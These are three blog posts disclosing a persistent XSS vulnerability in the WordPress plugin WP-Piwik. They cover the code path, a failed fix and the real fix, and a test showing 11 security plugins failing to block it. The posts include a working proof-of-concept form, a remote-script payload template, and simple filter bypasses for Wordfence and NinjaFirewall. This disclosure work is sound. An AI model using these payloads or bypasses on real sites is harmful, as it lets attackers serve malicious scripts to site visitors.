12 Sep

WordPress Security Plugins Provide Little to No Protection Against Recently Discovered Persistent XSS Vulnerability

In the past few months we have done several one off tests of WordPress security plugins to see if they could prevent exploitation of a vulnerability in a plugin. We tested an extraordinary claim by Wordfence that their plugin could prevent persistent cross-site scripting (XSS) and found that it failed both with a vulnerability that required authentication and one that didn’t. We also tested the iThemes Security security plugin against an arbitrary file upload vulnerability that we have found was being exploited in another plugin by one that plugin’s developers and it also failed to prevent exploitation.

That these plugins failed to prevent these vulnerabilities from being exploited wasn’t all that surprising considering the poor state of the security community overall and in particular the one surrounding WordPress. Whether it is security companies making up threats, not understanding the difference between vulnerabilities, or spreading false information about WordPress installations being vulnerable due to not understanding how WordPress handles security updates, it is clear that there isn’t a good understanding of security by the people and companies in the security community.

To get a better understanding of how security plugins impact the threat of plugin vulnerabilities we thought it would be useful to start testing a wider set of them against real world vulnerabilities to see how much protection they provide.

For the inaugural edition, we tested out a persistent cross-site scripting (XSS) vulnerability that existed in the plugin WP-Piwik prior to 1.0.11. The vulnerability highlights a number of the problems we see surrounding vulnerabilities in WordPress plugins these days. In reviewing one of the outside data sources we use to help detect vulnerabilities being targeted by hackers we found an indication that there was hacker interest in the plugin back in January. In looking over the plugin we found that anyone could change the plugin’s settings (you didn’t need to be logged in to do that) and that could be exploited to run malicious JavaScript code on to the frontend pages of the website. A similar vulnerability in another plugin was exploited on a large scale to serve malware on websites in February of last year, so unlike a lot of vulnerabilities that are not of much concern, this one was.

Once we had found the vulnerability we quickly notified the developer of the details of the issue, suggested they may want to request to have the plugin automatically updated after being fixed, and let them know that if they needed any help in dealing with it, to get back to us. Two weeks went by without any response or the vulnerability being fixed. At that point we disclosed the vulnerability, added it to the data that comes with our service’s companion plugin (so that even those that don’t use the service would get alerted), and notified the Plugin Directory of the issue.

A short time later the plugin was removed from the Plugin Directory, which protected those not already using the plugin from being exposed to the issue. Those already using the plugin were left in the dark since WordPress continues to refuse to alert them in such a situation.

Two days later the plugin returned the Plugin Directory with a new version, 1.0.10, that was supposed to fixed the vulnerability, but didn’t. Plugins returning to the Plugin Directory without actually being fixed is continuing problem. After noticing that we contacted the developer again to notify the vulnerability still existed and to provide suggestions on properly fixing the vulnerability. We got a response from them a short time later. Two days later the vulnerability was fixed with version 1.0.11.

Seeing as the vulnerability could have been being exploited for months before it was fixed a security plugin that protected against it before them would have provided some real value.

Testing Procedure

For each of the tested plugin we set up a fresh install of WordPress 4.6.1, installed the last vulnerable version of WP-Piwik, and installed the latest version of the security plugin. We tried to enable any feature of the plugin that could possibly have an impact on stopping exploitation of the vulnerability.

We used the proof of concept included in our previous post on the vulnerability with one change. To simulate what a hacker might do, we set it so that the a JavaScript file from another website would be loaded on the website’s page. In a real exploitation that would then server up malicious code. We did it with this format:

<script src=”https://www.example.com/script.js”></script>

We used a real domain that we control instead of example.com for the testing.

The 11 plugins we tested include the security plugins listed in the Popular plugins section of the Plugin Directory and some others that look to intended to prevent this type of situation. If you would like to see an additional plugin included in future testing please leave a comment on the post or contact us.

Results

Only two of the plugins tested, NinjaFirewall (WP Edition) and Wordfence, prevented the vulnerability from being exploited with the original code. But we were able to easily bypass the protection in those two without even looking the at the underlying source code of how their protection works (that source code would be available to anyone looking to exploit them).

For NinjaFirewall (WP Edition) we bypassed the protection first by removing the “</script>” tag from the malicious code, that didn’t impact the malicious code running due to a closing “</script>” existing after the location it is placed when using the WordPress template.

For Wordfence simply changing the beginning of it from “<script” to “<\script” allowed the protection to be bypassed. That had no impacted on the code ultimately served up to users unlike the bypass for NinjaFirewall (WP Edition). After noticing that we realized the same type of bypass could be used on NinjaFirewall (WP Edition), by replacing “</script>” with “</\script”>.

It is interesting to note that one of the two plugin that provide any protection is also tied for the least popular of the plugins tested, with only 10,000+ active installs. That is a good reminder that the popularity of security plugins has little bearing on the protection they provide, instead what matters is what security features are included, in this case a firewall.

Acunetix Secure WordPress

Result: Failed to prevent exploitation.

Acunetix WP Security

Result: Failed to prevent exploitation.

All In One WP Security & Firewall

Result: Failed to prevent exploitation.

Anti-Malware Security and Brute-Force Firewall

Result: Failed to prevent exploitation.

BulletProof Security

Result: Failed to prevent exploitation.

IP Geo Block

Result: Failed to prevent exploitation.

iThemes Security

Result: Failed to prevent exploitation.

NinjaFirewall (WP Edition)

Result: Prevented exploitation, but bypass around protection was easily found.

Shield WordPress Security

Result: Failed to prevent exploitation.

Sucuri Security

Result: Failed to prevent exploitation.

Wordfence

Result: Prevented exploitation, but bypass around protection was easily found.

Protecting Against Plugin Vulnerabilities

Seeing as most of those security plugins provided no protection and the others were easily bypassed, there are a number of other steps you can take to lessen the chances of being exploited through a vulnerability in a plugin:

  • Remove plugins that you are not planning to use anymore. Some vulnerabilities are exploitable even if the plugin is not activated, so just deactivating them will not fully protect you.
  • Keep your plugins up to date. Unless you are constantly checking for outdated plugins, your best bet is probably to enable WordPress’ ability to update them automatically. Our Automatic Plugin Updates plugin is one option for doing that.
  • Install our Plugin Vulnerabilities plugin. For vulnerabilities like this that it looks like a hacker is already exploiting we include data on that in the plugin and you will get alerted to the situation even if you don’t use the service.
  • Sign up for our service. Not only do get alerted if there is a vulnerability in the currently installed plugin, but we can also work with you to determine what is the best option for dealing with that situation. Maybe the vulnerability is something you can safely ignore or we can create a workaround to prevent exploitation until a proper fix is released. Your support of the service also help us to continue to work to get these types of vulnerabilities fixed.
  • Hire someone to do a security review done on the plugins you use. This is the most expensive option, but it also going to provide you the highest level of protection. It also will help everyone else using the same plugins.
06 Sep

Yet Another Very Vulnerable Plugin Returned to The WordPress Plugin Directory Without Actually Being Fixed

When it comes making sure that vulnerabilities in WordPress plugins get fixed we play important role in making that happen, but we are having to play an outsized role because others are not doing their part, which has once again lead to websites remaining vulnerable to being hacked for much longer than they should have been.

One of things that we do to provide the best data on vulnerabilities in WordPress plugins to our customers is that we monitor our websites and some outside data sources for evidence that hackers are targeting plugins. In many case the evidence doesn’t itself give any indication of what the vulnerability the hacker is targeting, just that the hacker is looking for usage of the plugin by requesting a .css or .js files in the plugin’s directory. From there we try to determine if the hackers is targeting a previously known vulnerability or there is a vulnerability that exists in the current version that hacker could be targeting. Through that work we have found numerous vulnerabilities included many that it looks like hackers have known and been exploiting for months and sometimes longer. What we found fairly troubling about this is that we look to be the only security company doing, even though at least one other would certainly like you to think they are.

That brings us to our recent discovery of a persistent cross-site scripting (XSS) vulnerability in the WP-Piwik plugin. While combing through data from one of the outside data sources we monitor, we came across the possibility that a hacker had been targeting the plugin back in January. In looking over the plugin for the kind of vulnerability that hackers might exploit (many types of vulnerabilities are unlikely to be targeted by them), we noticed that anyone could change the plugin’s settings. The potential damage that could be done using that depends on what impact the plugin’s settings can have on the website. In this case, the settings could be changed to load JavaScript on the website’s page and that in turn could be used to serve malware on them. This isn’t a hypothetical issue as in February of last year, this type of vulnerability was exploited on a large scale to serve malware on websites using the Fancybox for WordPress plugin.

Once we had found the vulnerability we quickly notified the developer of the details of the issue, suggested they may want to request to have the plugin automatically updated after being fixed, and let them know that if needed any help in dealing with it, to get back to us. Two weeks went by without any response or the vulnerability being fixed. At that point we disclosed the vulnerability, added it to the data that comes with our service’s companion plugin (so that even those that don’t use the service would get alerted), and notified the Plugin Directory of the issue.

A short time later the plugin was removed from the Plugin Directory, which protected those not already using the plugin from being exposed to the issue. Those already using the plugin were left in the dark since WordPress continues to refuse to alert them in such a situation.

Two days later the plugin returned the Plugin Directory with a new version, 1.0.10, that was supposed to fixed the vulnerability, but didn’t. As those that follow our blog would already know, the WordPress’ failure to properly check over plugin’s before returning them to the directory has been an ongoing issue. In some cases you could excuse it to some extent because it would easy enough to think the vulnerability was fixed, like one situation where the code to fix the vulnerability had been added, but was one line below where it needed to be to function properly. In this case the new code was not what you would have expected to fix this, so thorough checking should have been done, but it doesn’t look like it was.

The attempted fix involved adding an additional check before saving the settings. In the function that checks if a settings change is include in the request before those changes can be applied, isConfigSubmitted(), an additional check is done by calling a new function isOptionsPage(). The function isConfigSubmitted() in 1.0.9:

617
618
619
private function isConfigSubmitted() { 
    return isset ( $_POST ) && isset ( $_POST ['wp-piwik'] ); 
}

The function isConfigSubmitted() in 1.0.10:

617
618
619
private function isConfigSubmitted() { 
    return self::isOptionsPage() && isset ( $_POST ) && isset ( $_POST ['wp-piwik'] ); 
}

The isOptionsPage() function is intended to check “if current page is WP-Piwik’s option page” by comparing two values:

1243
1244
1245
1246
1247
public static function isOptionsPage() { 
    require_once(ABSPATH . 'wp-admin/includes/screen.php'); 
    $screen = get_current_screen(); 
    return $screen == self::$optionsPageId; 
}

When we tried our proof of concept (included in our post about the vulnerability) we found that this check didn’t stop the exploitation of the vulnerability. The reason for that is that two values being compared are empty and therefore the same.

We notified the developer of the issue along with a suggestion on how to properly fix the issue, they responded shortly afterward and two days later version 1.0.11 was released, which fixed the issue.

The fixed involved using another new check in the isConfigSubmitted() function by calling the isValidOptionsPost() function:

617
618
619
public static function isConfigSubmitted() { 
    return isset ( $_POST ) && isset ( $_POST ['wp-piwik'] ) && self::isValidOptionsPost(); 
}

The function isValidOptionsPost() checks to make sure that request is coming from someone who should be able to make changes to the settings, by checking current_user_can( ‘manage_options’ ), and that they intended to make the changes, by checking check_admin_referer( ‘wp-piwik_settings’ ), to prevent against cross-site request forgery (CSRF):

1243
1244
1245
public static function isValidOptionsPost() { 
    return is_admin() && check_admin_referer( 'wp-piwik_settings' ) && current_user_can( 'manage_options' ) ; 
}

WordPress Needs to Improve

The developer could have improved the situation by responding quicker and getting back to us the first time we contacted them so we could have worked together to come up with a proper fix instead of requiring two releases to make that happen. But since developers are not likely to running into situation like this very often, trying to improve things by focusing on them seems to be difficult. Instead the people behind WordPress who deal with this type of issue on an ongoing basis seem to be the better are to focus to improving the situation. What exactly needs to be done isn’t clear because their handling of vulnerable plugins is rather opaque (making it less opaque could be starting point for fixing not only this, but other issues with the process). Maybe there needs to additional checking done before returning a plugin or maybe there needs to be a better understanding of how to checks thing over by the people already doing that. Whatever the case, we would be happy to help them, since getting these vulnerabilities fixed as quickly as possible is our goal.

29 Aug

Persistent Cross-Site Scripting (XSS) Vulnerability in WP-Piwik

As we continue to review old third-party data on hacking attempts to identity more vulnerabilities that hackers have likely already discovered in WordPress plugins we spotted a persistent cross-site scripting (XSS) vulnerability in the plugin WP-Piwik.

Back in January a request was made for the file /wp-content/plugins/wp-piwik/js/wp-piwik.js, for what was may have been a probe for usage of the plugin before exploiting it. Looking over that plugin for any obvious issues we found that as of version 1.0.9 anyone (even if they were not logged in) can change the plugin’s settings and through those settings they could add malicious JavaScript code to the website’s page.

With the plugin enabled an instance of the class WP_Piwik is created whenever a WordPress page is loaded. That class is defined in the file /classes/WP_Piwik.php. The constructor in that class calls a function setup():

20
21
22
23
24
25
public function __construct() {
	global $blog_id;
	self::$blog_id = (isset ( $blog_id ) ? $blog_id : 'n/a');
	$this->openLogger ();
	$this->openSettings ();
	$this->setup ();

That in turn will call the function applySettings() if the function isConfigSubmitted() is true:

41
42
43
44
45
46
47
48
private function setup() {
	self::$pluginBasename = plugin_basename ( __FILE__ );
	if (! $this->isInstalled ())
		$this->installPlugin ();
	elseif ($this->isUpdated ())
		$this->updatePlugin ();
	if ($this->isConfigSubmitted ())
		$this->applySettings ();

The isConfigSubmitted() will return true if the POST input “wp-piwik” exists:

617
618
619
private function isConfigSubmitted() {
	return isset ( $_POST ) && isset ( $_POST ['wp-piwik'] );
}

The applySettings() function in turns call the applyChanges() function:

566
567
private function applySettings() {
	self::$settings->applyChanges ( $_POST ['wp-piwik'] );

The applyChanges() function (located in the file /classes/WP_Piwik/Settings.php) will update the plugin’s settings without doing any checks to make sure an authorized user is the one trying to update them:

277
278
279
280
281
282
283
284
285
286
public function applyChanges($in) {
	$in = $this->checkSettings ( $in );
	self::$wpPiwik->log ( 'Apply changed settings:' );
	foreach ( self::$defaultSettings ['globalSettings'] as $key => $val )
		$this->setGlobalOption ( $key, isset ( $in [$key] ) ? $in [$key] : $val );
	foreach ( self::$defaultSettings ['settings'] as $key => $val )
		$this->setOption ( $key, isset ( $in [$key] ) ? $in [$key] : $val );
	$this->setGlobalOption ( 'last_settings_update', time () );
	$this->save ();
}

By changing the track_mode and tracking_code settings arbitrary JavaScript code can be placed on the website’s pages.

We notified the developer on August 15, but have not heard back from and the plugin has not been fixed. We notified the Plugin Directory of the issue as of this being posted and the plugin will likely be removed from that until it is fixed.

The vulnerability is not exploitable when the plugin is deactivated, so disabling it until it is fixed will protect you. If you still need to use it, a workaround is to disable the changing of settings by editing the file /classes/WP_Piwik.php and commenting out the following lines:

47
48
if ($this->isConfigSubmitted ())
	$this->applySettings ();

Since the vulnerability may already be exploited we are adding it to the data included with companion plugin for the service, so for those that have our plugin installed they will start getting notified if they are using a vulnerable version of the WP-Piwik plugin installed, even if they are not yet signed up the service.

Proof of Concept

The following proof of concept will cause an alert that says “XSS” to be shown on the website’s pages.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]" method="POST">
<input type="hidden" name="wp-piwik[track_mode]" value="manually" />
<input type="hidden" name="wp-piwik[tracking_code]" value='<script>alert("XSS");</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 8/15/2016 – Developer Notified
  • 8/29/2016 – WordPress.org Plugin Directory notified.
  • 9/2/2016 – Version 1.0.11 released, which fixes vulnerability.